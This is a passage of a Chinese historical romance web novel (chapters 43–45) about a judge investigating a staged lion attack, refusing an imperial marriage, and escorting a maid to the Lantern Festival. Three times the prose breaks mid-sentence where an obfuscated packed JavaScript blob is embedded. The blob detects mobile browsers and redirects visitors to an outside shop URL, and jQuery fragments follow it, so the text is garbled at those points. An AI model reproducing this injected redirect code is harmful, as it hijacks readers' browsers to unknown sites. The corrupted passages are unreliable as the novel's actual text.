贺兰珩沿着汉白玉阶拾级而上,还没到殿门口,九公主得了通禀,率着一群宫人出来相迎。
“三郎,你是特意来找我的吗?我听说你受了伤,伤势如何了?”她提着裙角迫不及待地跑上前来,“阿耶怎么这么不体谅你,还让你查案。”
贺兰珩停住脚步,行了一礼,用公事公办的口吻道:“臣奉旨查案,敢问殿下的贴身内侍在哪,臣有话问他。”
九公主脸上喜悦的神色稍褪:“三郎说的是渊生啊,他今日不当值。”
贺兰珩眉峰微沉,这么巧,他一来就不当值?
“那么殿下可还记得当日是如何进入林子遇见狮子的?”
“当日……”九公主拢了拢斗篷,眼神无辜地望着他,“是三郎的婢女把我引过去,害我遇险的。”
贺兰珩清冷的凤眸一抬,眼神凌厉起来,道:“是么,可臣当晚折返回林中时发现狮子身中数箭,皆是晚凝的箭,若她想害殿下,为何还要留在原地救殿下?”
那晚他在找季晚凝时仔细勘察了一遍雪地,推测明明是季晚凝救了九公主,而九公主却反过来害她,颠倒黑白。
他锐利的目光直射进九公主眼里,带着股不怒自威的气势。
九公主理亏心虚,面色变了几变,娇嗔道:“不过是一个奴婢而已,我这里多的是宫女,送三郎几个都不在话下。”
贺兰珩唇角勾起几分冷意:“臣不需要你的人,臣只要我的人,特别是我认定的人。”
九公主上前一步,语气显得有些急促:“难道你在乎她的命多过在乎我吗?我不仅是公主,还是你未来的妻子。”
“圣旨未下,臣与殿下便无干系。”
贺兰珩眉目里浸着凌霜雪意,眼尾轻扫过她,拂袖转身,走下玉阶,往延英殿去了。
43. 违逆
贺兰珩来到延英殿御前陈报,殿里只有天子和宦官康诫,还有几个侍从。
经过多日的追查,贡狮案已经水落石出,涉案人已抓捕入狱,唯独少了幕后主使,不是他抓不着,而是抓不得。
根据贺兰珩搜查的证据和掌握的线索来看,此人的目标是晋王。
先以重金买通驯狮人,又每日给贡狮嗅晋王的随身香囊,让它记住这个气味,配合给它喂食的药物,谋划在冬猎时袭击晋王。
运送贡狮的车也故意耽搁了两日,在冬猎当日正好行至白鹿原附近,夜间将狮子放了出来。
能做到这一切的只有一个人,却不知为何计划出了差错,另外他也猜不透此人杀晋王的动机。
而渊生究竟是恰巧把九公主引进了狮子潜伏的密林里,还是他知道些什么,包藏祸心蓄意为之,就不得而知了。
宫墙深处,各方势力暗流涌动。
贺兰珩只向天子陈奏驯狮人已缉拿归案,略去了那位主使。
天子听后颔首,露出几分畅快的神色,没再刨根问底,让大理寺按程序办理即可,又道:“贺兰卿,此次冬狩你救了朕的掌上明珠,只身打死了凶兽,忠勇可嘉,朕要重重封赏!”
天子私下召见他,没戴冕旒,眼角眉梢的喜悦清晰可见,言语间难掩赞赏之意。
立在他一旁的康诫上前展开诏书,提着尖细的嗓音宣道:“大理卿贺兰珩听宣,因护驾有功,今圣上特恢复俸禄,另赐黄金百镒,南海明珠十斛,绸缎千匹,良田十顷……”
贺兰珩神情无波无澜,不见喜悦之色,他撩袍跪在丹墀下,叩首道:“护驾本是臣分内之事,不敢居功。然九公主遇险之际,实乃臣的婢女拼死引开狮子,臣只不过是找到公主带其出了深林而已。
“臣,恳请陛下将封赏赐予她。”
天子双手叩在御座扶手上,道:“区区奴婢,卿既如此看重,自行回去打赏她便是。”
“陛下,若非她始终伴驾在九公主身侧,胆识过人,舍生忘死,臣纵有三头六臂,也难护得公主周全。臣以为,理当褒奖,以彰圣明。”贺兰珩言辞凿凿,掷地有声。
他的目的不只是为季晚凝请赏,他想要将季晚凝的名字在天子面前过了明路,将救驾之功载于卷宗,来日若有什么不测,圣眷便是她的一道护身符。
“够了,朕的恩典岂是随意予人的。”天子面色略沉,不耐烦地拍了下大腿,“圣旨已宣,你退下吧。”
贺兰珩心底掠过一丝复杂的情绪,默了少顷道:“既如此,臣不求赏赐,只与陛下谋求一事。”
“说。”
他举起笏板,双手青筋收束,字字铿锵落地:“恕臣不能娶九公主,请陛下另择良婿。”
“放肆!”天子的怒火终于被点燃了,一掌拍在扶手上,声若洪钟,“你竟用皇家婚事来讨价还价!朕看你是得寸进尺,你若再敢提及此事,休怪朕不念君臣之情!”
满殿侍从冷汗涔涔,康诫忙不迭安抚道:“陛下息怒。”
他心里暗想,贺兰珩先前被罚了俸禄,天子此次开恩厚赏,他竟还不领情,大理卿一向恪守君臣之道,怎么今日突然违逆圣意?
跟九公主的婚事那是多少人艳羡的圣恩啊,不少权贵暗中贿赂康诫,想与皇室联姻,他收了钱在圣人面前替人美言,可圣人偏偏就看中了贺兰珩。
天子倏地站起身,瞪了贺兰珩一眼,阔步往外走,身后的仪仗跟着他出了延英殿。
贺兰珩跪在地上,眼睑半垂,下颌的棱角绷如锋刃,他撩起曳地的襕袍站起身。
走出大殿,冷风灌进了广袖里,稀薄的日光落在他挺直的背脊上,拖出一道清峭的影子。
数日后,御赐装满了数辆辎车,首尾相衔驶进宣阳坊。
仆从们将一个个箱箧从车中卸下来,搬回来鹤园。
紧接着,晋王的谢礼也送到了,各种珍稀补品、绫罗绸缎、美酒雕盘,并留手书一封,代九公主答谢贺兰珩。
季晚凝的身子已痊愈了七八成,只是还比较畏寒,孙嬷嬷只让她做些书写类的轻活。
此时她坐在来鹤园的私库里清点赏赐、记录在册,腿上盖着厚厚的狐狸毛毯,用木镊子拨弄着青瓷盘中的珍珠。
颗颗圆润饱满,光华玓??,挑不出一点瑕疵,小阮在旁一边负责搬东西,一边忍不住地喟叹,孙嬷嬷倒是见多识广,大有习以为常的姿态。
来鹤园里好像提前过年了一样喜气洋洋,婢女们都想一睹御赐,春彤和梨穗撩开库房的帘子,钻了进来。
春彤从装满珍珠的金匣里拈起一颗来,揉搓把玩,不禁赞叹:“好大的珍珠!触感滑腻,跟假的就是不一样。三郎君在圣人面前得脸,咱们下人也跟着沾光。”
孙嬷嬷打了下她的手,呵斥道:“别用手摸,快放下。”
春彤悻悻地放了回去,这时伸过来了一只小手,又把它拿了起来。
“没见过世面,这种珍珠我有一堆呢。”
梨穗闻声回头,站到一旁欠了欠身道:“五娘子金枝玉叶,当然不缺金银珍宝。”
容嫣被先生按头念了一天的书,刚散堂就立马过来凑热闹。
“这些都是赏给阿兄的吗?”容嫣问。
孙嬷嬷点首称是。
“可我听阿兄说是晚凝救了九公主,因为救她才受的伤,圣人为什么没赏她?”容嫣替季晚凝抱不平,“我进宫陪读时跟九公主提起来,她还不承认,脸皮真厚。”
孙嬷嬷忙道:“娘子哟,这话也就关起门来说。做下人的尽忠护主是应该的,什么赏不赏的,哪里能跟圣人和公主挟恩图报,是嫌命太长了吗!”
“原来是晚凝姐姐救的驾。”小阮一边说一边瞥向梨穗和梨穗。
梨穗不屑地嗤了一声,道:“孙嬷嬷说得是,说到底还是奴婢的命。”
“你懂什么,即便是奴婢,也是长公主开过光的奴婢!”容嫣瞪了她一眼,“还是表姑大方,毫不犹豫地就把九凤簪赏给晚凝了。”
梨穗有些吃惊,怎么连五娘子都为季晚凝说话了?她这回学聪明了,瘪瘪嘴不再作声。
季晚凝把容嫣拉到自己身旁。
这次冬猎她倒没那么在意赏赐,就算赏了也会被贺兰珩锁起来。
她失望的是没能通过九公主和晋王接触
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164482|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
郑彦元,翻案一事毫无进展,贺兰珩又像鹰一样盯她盯得紧。
“都快晡时了,你们不在厨房里,跑这儿来偷闲呢?”孙嬷嬷打发春彤和梨穗道,“这里没你俩的事,出去吧。”
两人看了眼季晚凝,乖乖退出了库房。
容嫣在绫罗绸缎间徘徊,道:“对了,我看公主府就快修缮完毕了,过阵子表姑就能从宫里搬出来回公主府住了,到时找她玩儿更方便了。”
长公主和亲前的旧府邸就在贺兰府的斜对面,搁置了几年,天子本打算等九公主出降后给她住的,但长公主突然回京,就还与她了。
正如容嫣所说,长公主赶在正月之前兴师动众浩浩荡荡地搬进了公主府,一连搬了几日,连住在坊里的公爵、朝臣都不得不给她让路,背后没少埋怨。
转眼来到了除夕,家家户户张灯结彩,驱傩吹笙,辞旧迎新。
下人们是最忙碌的,不仅要赶制新衣,府中里里外外要焚香洒扫。
孙嬷嬷在院子里给下人们分发红包,所谓红包就是用红绳串起来的铜钱。所有人放下手里的活计,争先恐后地挤到孙嬷嬷身边领钱。
季晚凝则在房里守着一方矮几穿针引线,锦缎上的如意云纹已经完完整整绣好了,她用指尖轻捻金线打了个结,剪去线头,捧起来仔细端看。
前阵子卧病在床时她就想着给贺兰珩缝一条岁朝纳福腰带,以感谢他冬猎时救了自己。
季晚凝的纹样画得精妙,女红却勉勉强强,绣在锦缎上不远如纸上好看,不过在孙嬷嬷的指点下也终于拿得出手了。
她把腰带放在了箱笼里,等贺兰珩回来时给他。
除夕夜,府中阖家欢聚,吃年夜饭,喝屠苏酒,贺兰淳德请了乐班和戏班来府上轮番登台,通宵酒筵歌席。
贺兰珩忙着应酬,脚不离地,下人们也在厅堂与厨房之间穿梭不停。
过了子时,终于清闲了些,小阮来房里找季晚凝,她正独自一人守着暖炉看话本。
小阮拉着她的手道:“晚凝姐姐,快来,去放爆竹啦!”
外面霜雪飘寒,季晚凝不想离开暖和的房间,冲小阮摇摇头,让她跟其他人一起去放爆竹了。
窗外噼里啪啦的爆竹声不绝于耳,季晚凝放下话本,裹得里三层外三层的,钻进被子里等贺兰珩,可困意止不住地袭来,不知不觉就睡着了。
不知什么时辰,流萤般的灯烛晃了几晃,房门被推开了,贺兰珩走进寝室。
季晚凝恍恍惚惚地睁开倦眼,支撑着手臂要起身给他更衣,却被按回到了榻上,头顶响起了贺兰珩低低的声音:“新年有什么愿望?”
季晚凝困得迷糊,懒得下榻写字了,无意识地从被窝里伸出一条胳膊,轻轻拉过他的手腕,在手心里写:“想看灯。”
看花灯,上元节长安的花灯,她已经很久很久没有看过了。
写完后她收回手,一裹被子,又昏睡了过去,几缕绸缎般的柔顺发丝拂在雪颊边,鼻梁秀气挺巧,浓密的眼睫垂着。
贺兰珩立在榻边,掌心里酥酥痒痒的,他微微合拢五指,俯身给她掖了掖被角,抬步走进了净房。
44. 赔罪
元日一大清早起来,季晚凝刚给贺兰珩穿上朝服,他就匆匆忙忙进宫朝贺去了,那条腰带一直放在箱笼里,没机会给他。
接连几日,贺兰府门前华盖香车,銮铃锵锵,拜年的亲友同僚络绎不绝,朱门大敞着迎客,几乎没有阖上的时候。
初四这日,一顶暖轿抬到了贺兰府门口,轿周围垂着玳瑁水精流苏,光彩夺目,四角缀着五色锦香囊,满街盈香。
行人们好奇地驻足观望,管家听闻后往大门赶过来,心想这是哪家的千金,怎么不曾递过拜帖就贸然前来。
他跨出门槛一瞧,一个女官端端正正地站在轿前,嚯,这是宫里头来的人啊。
管家不敢怠慢,上前帮忙打帘,一撩开,轿里抬的却不是人,而是绛罗绮绣、珍奇器玩,罗列得满满当当的。
管家一头雾水,询问女官:“这是……?”
“这些都是安国长公主赏给贵府的晚凝娘子的。”女官含笑答道。
“晚凝娘子?”管家冥思苦想,“鄙人未听说府上有这号人啊……殿下会不会弄错了?”
“长公主特地交代了,是贺兰府的人。”
“那殿下有没有说因何事赏赐?”
女官笑道:“没有理由,殿下心情好,便赏了。”
管家搔头抓耳,拿不定主意,只好道:“娘子稍候,鄙人这就去问问。”
他刚转过身来,就见贺兰珩立在门首,道:“晚凝是我的婢女,交给我便可。”
女官行礼道:“那妾便交给贺兰大理吧。”
贺兰珩望了眼轿子里的金玉锦绣,唇角勾起一抹讥诮。
算她还有点良心。
“择日再去向长公主道谢。”他道。
“妾奉长公主之命给贺兰大理带话,殿下说,她搬来这么多日了,也不见你登门拜谒,着实该打,请贺兰大理明日酉时上公主府领罚。”女官字正腔圆地说道。
管家在一旁听得尴尬,不敢看贺兰珩,恨不得把自己埋起来。
“知道了。”贺兰珩不咸不淡道。
不多时,赏赐悉数抬进了来鹤园。
“这又是谁送给郎君的?”梨穗和几个婢女往院里探头。
“不知道啊,我听说刚才来了个女郎,那轿子富贵得很。”
“谁家的女郎?我怎么没见着?”梨穗纳闷。
“是长公主,”管家听见梨穗一行人在旁嚼舌,上前说道,“长公主殿下赏给三郎君的婢女,晚凝娘子的。”
婢女们面面相觑,七嘴八舌道:“跟着三郎君果然容易出头,才来多久就搭上长公主了。”
梨穗面色变了一变,甩起帕子摆着腰走了。
刚走几步,险些撞到一个穿着蹙金银线披袄子、银泥罗裙的人。
她猛地刹住脚,垂眸盯着地上的那双重台履,福身道:“请县主安。”
“梨穗,慌慌张张的干什么呢?”蓬莱县主看了眼她。
“没什么,奴婢才想起来活还干完呢。”梨穗道。
县主冷脸道:“你来了有两三年了吧,给你的任务你也没完成,这来鹤园里一点喜事的动静都没有。”
梨穗赧颜道:“三郎君不喜奴婢,奴婢也是空有一身功夫无处使。”
“那你倒是说说,三郎喜欢什么样的?”
梨穗垂着头心想,季晚凝刚得了长公主的赏赐,若是县主又知道她是郎君房中人,那不得更得宠了,说不准哪日有喜了,县主抬她为侍妾,而自己将来却成了伺候她的人。
思及此,她回道:“郎君眼光一向高,哪里看得上奴婢这种身份下贱的。”
县主不耐地瞥了她一眼,话锋一转,问管家道:“本主听闻长公主派人来了?”
“是。”管家把方才的事跟她讲了一遍。
这时孙嬷嬷从院里出来,迎上前行礼道:“县主怎么来了?”
县主露出笑意,道:“听闻你们院里有个婢女得了长公主青眼,人在哪?领来给本主瞧瞧。”
“她在库房里忙呢。”孙嬷嬷躬着身支支吾吾回道,贺兰珩叮嘱她除了五娘不让季晚凝见院外的人,哪怕是县主,她左右为难,只得敷衍。
“本主来了还忙什么,把她叫过来。”县主雍容雅步,往亭子里走去。
“欸,奴婢这就去。”
孙嬷嬷放慢脚步往库房走,余光扫见季晚凝正在廊中的柱子后面猫着,孙嬷嬷立马冲她努了把嘴。
季晚凝贴着墙根轻移脚步,沿着游廊折返。
县主坐在亭子里烧暖的薰笼上,目光一扫,望见不远处檐下一抹婷婷如风的背影,乍一看她的衣着颜色和其他婢女无甚区别,但县主眼光毒,一眼就看出那布料的光泽和绘绣绝非凡品。
她扬了扬饱满的下巴道:“周嬷嬷,去把那个小娘子叫过来。”
季晚凝脚下加快了速度,眼看就要进屋,突然肩上落下了一只厚实的手。
“小娘子,县主请你过去。”周嬷嬷沉稳而和气的声音从身后传来。
季晚凝只好转身跟在她身后,来到亭子立,蝤领低垂着向县主行了礼。
县主看着面前的女郎,眸含秋水,鼻倚琼瑶,一双眉黛如春山,是个难得的美人,她突然明白过来,梨穗那婢子肯定没跟她说实话。
“听闻你在冬狩时露了锋芒,还得了长公主的赏赐,本主特来认认人。”县主见季晚凝垂着头,看不清相貌,道,“抬起头来,有什么不好意思的,本主又不会吃人,你叫什么名字?”
季晚凝攥了攥衣袖,虽然儿时蓬莱县主没见过她,但她与母亲长得颇为相像,连舅父都说看见她就像看见了年轻时的季羽。
县主不喜欢母亲,若是认出她来,对她的身份起疑,不知会不会做出对她不利的事来。
季晚凝的心提到了嗓子眼,跑也跑不掉,正进退为难时,一个声音从身后传来。
“阿娘,儿正寻你呢。”贺兰珩走进亭子,拢袖坐在县主对面,用高挑的身子挡住了她的目光。
“你说你,身边藏了个妙人,难怪阿娘送到你房里的人你理也不理呢。”县主睇了他一眼,嗔怪道,“还不让阿娘瞧瞧正脸?”
“晚凝她大病初愈,身子虚弱,况且她是哑巴,不能言语,让阿娘失望了。”贺兰珩道。
“哑巴?倒是可惜了,我看她行止得体,相貌亦是不俗。”县主越过他身侧,还想再看两眼,“不过哑也有哑的好处,能免不少口舌之祸,等你和九公主成亲了之后,可以带在身边做个侍妾。”
贺兰珩淡声道:“她并非签了卖身契,只是雇佣一阵子而已,等契约到期便放她出府。”
季晚凝听到他要尚九公主,心一下子揪了起来。
契书还有一年多的时间到期,她若要随贺兰珩进公主府,恐怕捱不到出去,人就被九公主磋磨废了,连今日长公主的赏赐都不知有没有命消受了。
县主道:“随你的心意吧,一会儿有宾客要来,你记得去前厅见客。”
贺兰珩应了声好,回头看了一眼季晚凝,她一双秋眸掩在浓密的鸦羽里,福了福身,旋身退了出去,裙裾在寒风中轻扬,纤长亭秀的身影如风中轻颤的梅枝。
季晚凝出了亭子,回到库房里,看着那堆锦绣珠宝一时没了滋味,心底生起了一股明珠蒙尘的感觉。
当初签下两年的契约,免除了牢狱之灾,她觉得是幸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164483|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
运的,这笔交易不亏,但如今已大赦天下,贺兰珩又即将成亲,她不想再被他禁锢在身边了。
季晚凝把赏赐一一放在了箱笼里,她要把这些属于她的东西完完整整地带出府。
……
正月初五。
酉时,长公主府里明烛高悬,灯火辉煌,贺兰珩在侍女的引领下,穿过层层紫绡帘帐,来到正殿。
殿里茵毯宝帐,上首立着一七宝凤鸟屏风,锦绣辉映,奢华瑰丽。
桌案上摆满了碧玉盘,美酒丰食,中央舞席歌筵,侍女们烟轻丽服,恍若仙子,簪钗上缀满了小铃与挂珠,往来穿梭间摇摇颤颤,悦耳动听。
长公主一袭金缕长裙曳地,怀里抱着一只狸奴,翩然踏进殿里,她周围簇拥着一群俊美少年,前面两人秉烛,后面两人举障扇,还有一人执拂尘,一人执如意,个个面秀神清,皎如玉树。
落座后,长公主慵懒地倚在坐榻上,与冬猎时的飒爽判若两人,她一双丹凤眼向着侧首的贺兰珩斜睨过来:“怠慢本主,先自罚三杯。”
侍女将双凤飞天玉杯斟满,贺兰珩双袖一展,端起酒杯,独饮了三杯。
“听说过黄鼠狼给鸡拜年,却头回听说耗子给猫拜年的。”他放下酒杯漫不经心道。
长公主面纱后的嘴角抽动了一下,抚摸狸奴的手顿了顿,讪笑道:“我这不是赏了晚凝嘛,怎么样,我送的东西她喜欢吗?不比晋王给你的差吧。对了,你怎么没带她一起来?”
贺兰珩冷嗤道:“不敢,谁知道公主府里还藏着什么凶禽猛兽。”
“啧,你还挺记仇的,我府上除了狸奴外,就只有这几只小犬了。”长公主说着,朝少年们指了指,“我就自罚三杯,权当赔罪吧。”
一个美少年端着酒盏跪坐在她身侧,长公主撩开面纱一角,酒盏送到她唇边,她仰脖一饮而尽,道:“消气了没?”
贺兰珩屈指叩击着杯壁,敛容道:“殿下与晋王有何仇怨?刚回京师就买通训狮人,放狮子进围场,引它袭击晋王。”
长公主挥退了侍从们,只留下了两个少年。
“没什么,我不过胜负欲作祟,想赢罢了。”长公主眯起眼,她腿上的狸奴拉长两只爪子伸了个懒腰。
“仅仅为了赢,就值得你如此精心筹谋,兴师动众?你的计划还有没有别人知道,比如渊生?”
“你是说九公主身边的内侍?他怎么可能知道,只有我身边为我办事的心腹才略知一二。”
贺兰珩道:“晚凝说九公主就是在他的引导下遇见狮子的,你查查身边是不是出了叛徒,殿下也别再轻举妄动了,这次我能帮你藏着,下次就不一定了。”
长公主若有所思地点了点头,蹙眉道:“我说那狮子怎么让九娘遇上了呢,原来是有人暗中破坏,我的计划本是万无一失的。”
这时美少年绕到她背后用白皙修长的手指给她揉着太阳穴,长公主阖上眼享受,悠悠说道:“大过年的别说这个了,扫兴。”
贺兰珩道:“不说可以,但我要做个交易。”
“你想要什么?说来听听。”长公主睁开眼,“可别趁火打劫,狮子大开口啊!”
贺兰珩略微倾身,对她低语了几句。
“就这?”九公主闻言挑眉,“我还以为什么呢,举手之劳罢了。”
贺兰珩见她这么爽快就应下,说得轻飘飘的,也不知她靠不靠得住。
他眉心微拢:“殿下可别像夜猎那日一样搞砸了就是。”
“呵,小事一桩,别告诉我堂堂大理卿就因为这个辗转反侧,寝食难安。”长公主反唇相讥,“包在本主身上了,等过几日上元节,你就瞧好吧。”
45. 上元节
正月十五上元节,皇城里竖起了修建已久的巨大灯轮,足有二十余丈,缀满了金玉锦绮,华丽非凡。
往年的上元节天子不是在宫里设宴,就是私服外出游览,今年他灵机一动,决定去曲江池南岸的芙蓉苑赏灯,既能与民同乐又能宴请群臣。
一大早,容嫣就兴冲冲地到来鹤园找季晚凝,摆摊似的拿出了珍藏的胭脂水粉,把她按在妆镜前敷粉点妆。
“这个胭脂里我添了珍珠粉和珊瑚,扫上以后整个人都会发光。”
容嫣用漆棕茀粘上胭脂,轻轻扑在她脸颊上,捧着脸赞道:“阿兄怎么没早把你带回来,这么大的美人简直是活招牌,明日全京师的贵女都得问我要胭脂。”
季晚凝啼笑皆非,容嫣脑子里时刻不忘她做的胭脂,她举着金背铜镜,镜中的自己珠光流绮,额间贴着一枚珠翠花钿,容色焕发,不得不说容嫣很擅此道。
这时孙嬷嬷叩门进来,把怀抱着的衣物搁在塌上,对季晚凝道:“这些是三郎君给你做的。”
“哇,阿兄怎么都没送我衣服!”容嫣跳了起来,“晚凝,快来看看。”
季晚凝起身走过去,抖开了上面的那件,一袭雪白的兔毛斗篷如白浪般一倾而下,手感毛茸茸软呵呵的。
下面还放着个朱漆小匣,打开来,红色丝帛上摆放着几支簪钗,用御赐的珍珠和长公主赏的各种宝石打造而成。
她挑出了一支最喜欢的孔雀衔花金镶玉步摇,插在鬓上,在镜前左右照了照。
“太好看了吧!”容嫣止不住地惊叹。
孙嬷嬷提醒她:“五娘子,时辰不早了,该去梳妆更衣了。”
容嫣把粉盒收拾好,对季晚凝道:“我一会儿再来找你,这些胭脂水粉送给你了。”
季晚凝对她点了点头,看着她蹦蹦跳跳地出去了。
下午贺兰珩从寺庙进香燃灯归来,回到寝室推开槅门,见季晚凝举步姗姗出来相迎,颜若芙蓉,朝霞映雪,如同绡画中的美人走了出来一般。
贺兰珩脚步微顿了一下,她一改往日的淡素,穿着他给她做的联珠纹锦背子,一袭团花纹红裙曳地,顾盼生辉,带着一股与生俱来的矜贵端秀。
季晚凝跟着他进了里间,褪去他上午出门穿的常服,然后从薰笼上拾起华丽的宽袖朝服披在他身上。
天子宴请群臣,朝臣通常穿着都很隆重。
季晚凝系上朝服的丝绦,想起她亲手缝制的腰带一直没机会给他,便转身打开了一旁的箱笼,却又犹豫起来,突然间不想给他了。
于是她拿起了他在重大场合通常系的那条犀带,刚要系上,贺兰珩轻抬下颌道:“系那个吧。”
季晚凝循着他所指的方向看过去,是她缝的岁朝纳福腰带,她只好把犀带放回原处,把那条拿了过来。
前阵子贺兰珩看到她一直在绣这条腰带,却没见她给他,他看了眼上面的绣花,针脚不够细密,边线也不够流畅,不过他什么也没说。
贺兰珩眼眸半垂,见她站得比平常更远了些,与他几步之遥,双手捧起腰带环在他腰上,指尖若蜻蜓点水掠过他的腰际。
她今日扑了香粉,暗香袭人,丝丝袅袅缠绕在他鼻尖,一头乌发挽作华美的云髻,更显修容姣好。
贺兰珩想起前几日容嫣跟他说过,晚凝不喜欢堕马髻,嫌不吉利,她可不想堕马。
思及此,他喉结滑动了一下,想挪开目光,见她鬓间的金步摇稍稍有些歪,他抬起手,想将步摇扶正。
这时季晚凝系好了腰带,往后一撤,恭谨而疏离地退到一旁,贺兰珩手指微蜷,缓缓垂了下来。
季晚凝上下打量了一番他,比平日更加清贵沉雅,腰上垂着璎珞和玉佩,那腰带只要不细看,远观还是很精美的。
东义打帘探头进来:“郎君,该走了,马车已经备好了,再晚些街上就该拥堵不堪了。”
贺兰珩颔首:“走吧。”
季晚凝披上簇新的兔毛斗篷,跟在他身后。
天将暮,灯轮点燃了万盏灯火,灿若花树。数千宫女衣金霞帔,罗绮珠翠,绕着灯轮踏歌起舞,袖连袖彩绸如浪。
坊间各家各户也把自己做的花灯悬在了门口,灯火阑珊,满街如群星罗布。
季晚凝和容嫣坐在车牖边往外张望,车水马龙,一团团橘色的灯光将街巷阡陌串联起来,还有各式各样造型的灯,白鸾转花,鲤鱼吐水,银燕金莲,好不热闹。
百姓们皆盛装出行,摩肩接踵,挤得掉了满街的簪钗宝珥,乍一看还以为是地上镶嵌了珠宝。
季晚凝不禁羡慕起民间的过节气氛,与三两亲友自由自在地赏花灯、吃小吃,比跟着贺兰珩去和那些达官显贵一起过节惬意得多。
她瞄了眼贺兰珩,他难得没敛目养神,凝望着街面,时不时向外回首张望。
行至半路,贺兰珩叫住了车外骑马的北苍,附耳嘱咐了他几句。季晚凝听不清他们的对话,便没在意。
马车一路走走停停,好不容易才到了芙蓉苑,这里已经停满了宝马华盖,车夫只得请众人先下车,他再去寻空地停车。
容嫣迫不及待地率先跳下车,婢女们跟在她身后生怕她跑丢了。
她兴奋地在车来人往中左顾右盼,倏尔敛起笑容,小脸一黑,怎么又是九公主,平时在宫里天天见她,而今过个节也不安宁。
九公主身穿一品青色翟衣,头戴九树凤尾花冠、宝钿莲台,明丽又不失庄重,随行的宫人也都衣冠楚楚。
她已经到了一会儿了,在人群里寻找着贺兰珩,目光一转,看见容嫣正巧在不远处,想上前询问,又觉得她肯定会耍弄自己。
她往容嫣身后看去,只见一个高挑峻拔的身影下了马车,不是贺兰珩又是谁?
九公主脸颊边泛起了笑靥,双手提着裙摆朝着他走过去。
来到近前,她身形一滞,只见贺兰珩弯起手臂,从车中伸出了一只素手,搭着他钻出了马车,他嘴角挂着极浅的难以察觉的温柔。
那抹温柔是她从没见过的样子,如冰雪初融。
九公主脸上的笑僵住了,难道他已经定亲了?是哪家的贵女?不行,她今日必须得缠着天子拟圣旨!
她甩了下裙摆,昂起下巴,示威似的往前走了几步,才后知后觉地发现,这不是冬猎时的那个婢女吗?
原来是侍寝的宠婢,难怪贺兰珩那么护着她,九公主胸口点起了一腔火气,下意识地握住了腰间的马鞭。
贺兰珩把季晚凝扶下马车后,不经意地扫了一眼,见九公
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164484|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主蛾眉倒蹙,一脸愠怒地冲着他大步走来。
他冷冷收回目光,拉上季晚凝的手腕,带她从马车后面绕开。
九公主脚下生风追上去,就在距离不到一丈的时候,忽然半路杀出了一群白衣白冠的美少年,把她团团围住。
她惊慌失措地怒喝道:“你们是什么人?不长眼睛吗?敢挡本主的道!”
“公主请息怒,奴等是来服侍殿下的。”为首的少年微笑着向她一揖。
九公主身后的几个宫女用团扇掩唇打趣道:“郎君生得可真俊俏,定是天上哪个好心的神仙派来献给公主殿下的吧?”
两个少年上前不由分说牵起九公主的手来,按摩揉捏,羞得她满面通红,恨不得钻进地里。
她大喊:“住手!你们这些胆大包天的登徒子,本主现在就去禀告圣人,砍了你们的脑袋喂狗!”
渊生突然上前,将手里的拂尘掉了个个儿,用木柄狠狠打向两个少年的手。
“哎哟——”少年吃痛,把打得泛红的手缩了回去。
渊生横在九公主面前,冷静地问道:“各位,你们究竟是什么人?谁派你们来的?有何目的?”
“奴等是长公主送给九公主的面首,多有冒犯,请公主殿下恕罪。”为首的少年神色自若道。
九公主一听他们是长公主的人,敢怒而不敢言,就好像哑巴吃黄连一样难受。她提起裙摆,甩头往回走,惹不起她还躲不起么?
那群少年也跟在后面,宫女们一年到头也没见过几个真男人,新鲜得很,就随他们跟着,时不时逗上两句话。
渊生则举着拂尘挡在他们面前,把他们隔开了一段距离。
九公主见机溜出了队伍,踮着脚四处张望,周遭人头攒动,不见贺兰珩的身影。
突然她的袍袖被拽了一把,回首望去,一张俊美无俦的脸出现在她面前,九公主一颗心瞬间如小鹿乱撞一般。
贺兰珩嘴角挂着意味不明的笑意,缓缓朝她走来,将她堵在角落里,抬起一只手臂撑在墙壁上,垂下视线。
花灯的影子映在墙上,摇摇曳曳,这幅画面从远处来看好似鸳鸯幽会,宫人们慌忙移开了偷窥的目光。
可只有九公主知道,他的眼里没有柔情,灯影在他冷冽的眸中沉浮明灭,隐隐闪着肃杀之意。
她脊背紧绷地贴在墙壁上,心跳几欲破膛而出,故作镇定地娇声道:“三郎,我正找你呢,你怎么了,是生气了吗?”
“不许动我的人,离她远点。”贺兰珩的声音冰冷如刀,刀刀入骨。
九公主眸光颤颤,口风却还在强撑:“三郎在说什么?我若真想对她做什么,就像捏死一只蚂蚁一样容易,只要三郎待我温柔些,我便不会再为难她。”
“假如将来你我成亲了,我有一百种方法让殿下痛不欲生且不会被抓到把柄。”贺兰珩唇角微勾,字字如淬了毒,令人胆寒,“殿下若不信,大可一试。”
